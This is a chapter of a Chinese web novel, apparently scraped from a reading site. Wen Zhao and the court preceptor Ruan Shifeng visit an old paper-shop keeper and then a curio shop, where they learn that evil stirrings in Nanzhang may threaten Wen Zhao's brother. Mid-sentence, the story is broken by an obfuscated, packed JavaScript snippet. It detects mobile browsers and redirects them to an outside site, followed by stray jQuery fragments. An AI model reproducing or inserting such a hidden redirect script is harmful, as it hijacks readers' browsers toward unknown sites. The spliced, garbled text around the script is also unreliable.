老者闻声抬头,见是温招,刻满岁月痕迹的脸上立刻露出真切的笑容:“是丫头你啊!可是有些日子没来了!”他放下手中的活计,绕过柜台迎上来,目光慈爱地将她上下打量一番,“瞧着气色还好,就是瘦了些。” “劳老丈挂心,一切都好。”温招浅浅一笑,褪去了在宫中的清冷疏离,显露出几分难得的温软。她示意魑惊将带来的点心盒子送上,“路过五味斋,给您带了点松瓤酥。” “哎哟,又破费!”老张头接过,笑呵呵的,目光这才落到温招身后的阮时逢身上。只一眼,老者那双阅尽世事的眼睛便微微眯了起来。 阮时逢今日虽未着国师官袍,但那身青色锦袍和通身掩不住的矜贵气度,在这朴素纸铺里显得格格不入。更别提他那张过分惹眼的脸。 老张头脸上笑容未减,眼神却深了些,带着审视的意味,缓缓从阮时逢脸上扫到身上,又落回他站在温招身旁的位置。 阮时逢被这目光看得竟有些头皮发麻。那不像寻常百姓见到权贵的敬畏或好奇,倒像……像族里最严厉的老叔公打量即将拐走自家宝贝侄女的混小子,挑剔又锐利,仿佛能把他从皮到骨刮开看个透彻。 他下意识地挺直了背脊,收敛了所有散漫,规规矩矩地拱手行了一礼:“晚辈阮时逢,见过张老丈。” 老张头没立刻应声,又盯着他看了几息,才缓缓开口,声音平缓却带着分量:“阮公子。”算是打过招呼,却也没多热络。他转而看向温招,语气恢复了慈和,“丫头今日来,是又要选土火纸?” “是,劳烦老丈。”温招点头。 “等着,给你拿最好的那些。”老张头说着,转身走向里间货架,步伐稳健。 阮时逢稍稍松了口气,只觉得后背竟有点冒汗。他忍不住凑近温招耳边,用气音低声道:“你这老丈……眼神够厉害的。”比他面对朝堂上那些老狐狸压力还大。 温招瞥他一眼,随后又将几块金锭塞进了柜台下。 老张头很快抱着一摞质地细腻、色泽温润的土火纸出来,放在柜台上:“这些是刚到的,质地最好,透气不透灰,烧过去也干净。” 温招上前仔细查看,指尖抚过纸张纹理,轻轻点头:“嗯,就要这些。” 趁着温招专注看纸的功夫,老张头状似无意地踱到阮时逢身边,拿起鸡毛掸子拂着旁边架子上根本不存在的灰尘,慢条斯理地问:“阮公子瞧着面生,不是本地人?” 阮时逢立刻恭敬回答:“回老丈,晚辈是钰城人士。” “哦?本地人?……看着倒不像寻常人家子弟。”老张头语气平淡,“做什么营生的?” 阮时逢卡了一下壳。国师这营生……能直接说吗?他飞快瞥了温招一眼,见她正垂眸看纸,似乎没留意这边,只得含糊道:“晚辈……在朝中领份闲职。” “朝中为官?”老张头掸灰的动作停了停,侧头看他,目光更深了些,“官居几品啊?” 阮时逢:“……”这老丈问得也太直白了些。他硬着头皮道:“蒙陛下恩典,忝居……三品。”他没敢说正一品,怕吓着老人家。 老张头闻言,花白的眉毛动了动,上下又扫了他一遍,倒没露出太多惊讶,只淡淡道:“年纪轻轻,身居高位,是祖上荫庇,还是自身有为啊?” 阮时逢额角微微见汗。这问题刁钻,怎么答都不太对味。他斟酌着道:“家中略有根基,陛下垂爱,晚辈自当尽心竭力,报效朝廷。” 老张头不置可否地“嗯”了一声,不再追问官职,转而道:“家中还有何人?父母可都康健?” 阮时逢心下叫苦,这简直比查户口的问得还细。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338326|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能老实回答:“家母早逝,家父……身体尚可。”关于他那个爹,他实在不愿多提。 老张头听了,沉默片刻,目光在他脸上停留了一会儿,那锐利的审视似乎稍稍缓和了一丝,却也没再多问什么,只转过身,继续去帮温招捆扎纸张。 阮时逢这才悄悄吁出一口气,感觉自己像刚被架在文火上细细烤过一遍。 温招选好了纸,付了钱。老张头将纸包递给她,看着她的眼神满是慈爱:“丫头,一个人在外头,凡事多留个心眼,照顾好自己。”他说着,眼风似不经意地又扫过阮时逢,“交朋友……也要看清楚。” 温招接过纸包,指尖微微用力,低声道:“我省得的,老丈放心。” “嗯,放心,放心。”老张头点点头,送他们到门口,“得了空就常来坐坐。” 走出铺子一段距离,阮时逢才彻底放松下来,忍不住抬手抹了把不存在的汗,对温招道:“你这老丈……可真不是一般人。我算是知道什么叫‘不怒自威’了。”他心有余悸,“他刚才看我的眼神,好像我要是敢对你耍阴招,他能立刻掏出锄头把我埋后院似的。” 温招抱着纸包,闻言脚步未停,只淡淡道:“张老丈是明白人。” 阮时逢凑近些,压低声音笑问:“那他刚才……算是认可我了?” 温招侧头看他一眼,眼神清淡:“他只是看出你并非歹人。”至于其他,她没说。 阮时逢却像是得了什么肯定,眉眼舒展开,唇角扬起,又恢复了那副神采飞扬的模样。阳光透过枝叶缝隙落在他身上,将那身青衫染得愈发耀眼。 “不是歹人就成。”他笑着,声音轻快,“来日方长嘛。” 金身轩的门面比老张记气派许多,黑底金字的招牌,门口还立着两尊石貔貅。只是进出的人却不多,透着股刻意的清静。 阮时逢率先推门而入,门楣上挂着的铜铃清脆一响。店内光线偏暗,四壁多宝格上陈列的多是些佛像、香炉、法器等物,金光灿灿,宝相庄严,空气里弥漫着浓郁的檀香和一丝若有若无的金属冷气。 “贵客临门,蓬荜生辉。” 映入耳的又是这带着媚劲的调调,映入眼的又是那带着一股妖冶劲的老板娘。 柜台后的女人闻声抬头,一双含情目先掠过阮时逢,随即定在温招身上,唇角便弯起意味深长的弧度。 “哟,真是贵客连连。”她嗓音软滑,像浸了蜜的丝绒,“阮大人可是稀客,还有这位……娘子,瞧着面善。” 温招帷帽未揭,只微微颔首。上回来买子祭佛时,她只作寻常人家女子打扮,未露身份。这老板娘眼毒心明,显然还记得她。 阮时逢已自行踱到一旁多宝格前,指尖掠过一尊鎏金佛像的底座,语气随意得像在问今日天气:“听说你这儿进了新东西?拿出来瞧瞧。” 老板娘笑吟吟应了声“好”,身子却未动,目光仍在温招身上打了个转:“上回娘子请走的那尊佛,可还称心?” “尚可。”温招答得简短。 “称心便好。”老板娘这才慢悠悠转身,从柜台下取出一只扁长木匣,匣盖推开,里头衬着玄色丝绒,摆着几枚古旧铜符,纹路斑驳,“前日刚收来的,说是前朝祭天的旧物,灵验得很。” 阮时逢拈起一枚对着光看了看,嗤笑一声:“前朝祭天用青铜符?老板娘,骗外行也得用点心思。” 老板娘也不恼,只掩口笑:“什么都瞒不过阮大人。”她将木匣收回,又取出另一只小些的锦盒,“那这个呢?刚从南边来的,说是……” “少来这些虚的。”阮时逢打断她,指尖在柜台上不轻不重地叩了叩,“我们要查的事,有眉目了么?” 店内气氛静了一瞬。檀香气仿佛凝住了。 老板娘脸上笑容淡去几分。她看看阮时逢,又瞟一眼静立一旁的温招,终于叹口气:“阮大人既然亲自来问,我也不好再拿场面话搪塞。”她俯身从柜台最底下摸出一件东西,用黄布裹着,展开来却是一块烧焦的木牌,边缘残缺,隐约能辨出刻过符咒的痕迹。 “您前些日子给我的这块木牌。”她声音低下来,“这木牌上的怨气,我派人去打听,有人曾在南漳见过。” 温招闻言,指尖微微一颤。南漳。温韫前脚刚去,后脚便得知此地与宫中邪祟有关。世上怎会有这般巧合?她不动声色地将手收回袖中,帷帽下的眉头却已蹙起。 阮时逢捏起那块焦黑木牌,在指间翻转细看。“南漳?”他声调平稳,听不出情绪,“消息可靠么?” 老板娘正色道:“传话的人是我旧识,常年行走南漳一带,从不说没把握的话。”她顿了顿,“他说那地方近来不太平,暗地里有些东西在涌动,与您这木牌上的气息……很像。” 阮时逢沉默片刻,将木牌丢回柜台,发出沉闷一响。“具体方位?可有人亲眼见过?” “只说在南漳西面的老林一带,更深就不知了。那地方偏僻,当地人天一黑就不敢往深处走。”老板娘摇头,“亲眼所见?那倒没有。但有好几个猎户都说夜里听过怪声,像哭又像笑,听得人头皮发麻。” 温招忽然开口:“可知是何时开始的事?” 老板娘看她一眼,眼神里多了几分斟酌:“约莫……入秋前后。” 正是宫中异象初现的时候。温招袖中的手慢慢握紧。 阮时逢忽然笑了一声,只是眼里没半点笑意。“还真是巧得很。”他这话说得轻,却像块石头投入静水。温招知道他也在想同一件事——温韫的南漳之行,未免太过恰到好处。 “多谢。”阮时逢抛给老板娘一袋银钱,“若再有消息,老规矩。” 走出金身轩,午后的阳光依旧晃眼,却让人感觉不到暖意。阮时逢翻身上马,侧头看向马车窗帘:“你怎么想?” 车内沉默一瞬,温招的声音才传出,清淡依旧,却带着一丝不易察觉的冷:“总觉得哪里不对……” 不对……常青怎会不知道此事……?还派温韫去那种地方……?那种可怕的猜想,在温昭心里诞生。 会不会是常青要借此机会除掉温韫?!但是他又怎么能保证温韫定会被邪祟所害?不对……他是要让温韫去处理邪祟,若是处理不当,他便大可以任何一个罪名给温韫扣一顶帽子,寻常之人怎会是邪祟的对手? 温招瞳孔缩了缩,但这念头只是一闪而过,很快便被更多疑虑压下。 马车驶动,阮时逢策马跟在旁侧,一时都没说话。有些真相就像藏在雾里的兽,你明知它在那里,却看不清形状,只能凭风声判断危险。 直到临近宫门,阮时逢才忽然勒马,俯身靠近车窗低声道:“此事我先派人去南漳细查。在你弟弟回来前,别轻举妄动。” 温招隔帘“嗯”了一声。这是目前最理智的做法,尽管她心中疑虑翻涌。 “走了。”阮时逢调转马头,青衫在宫墙下拉出利落影子,“有事让魑惊找我。” 马车缓缓驶入朱红宫门,将市井喧嚣与方才那段对话都关在了身后。温招靠着车壁,指尖无意识地划过怀中纸包。 南漳。她默念着这个名字,只觉得这两个字像淬了毒的针,轻轻扎进心底某个角落。有些路一旦开始走,就再不能回头。而温韫,她这个看不透的弟弟,究竟是无意踏上了这条路,还是早已站在了路的尽头? 她闭上眼,车辙声在宫道上回荡,一声声,像是敲在心上。 南边的庵堂……南漳的邪祟……看来是时候去南边一趟了。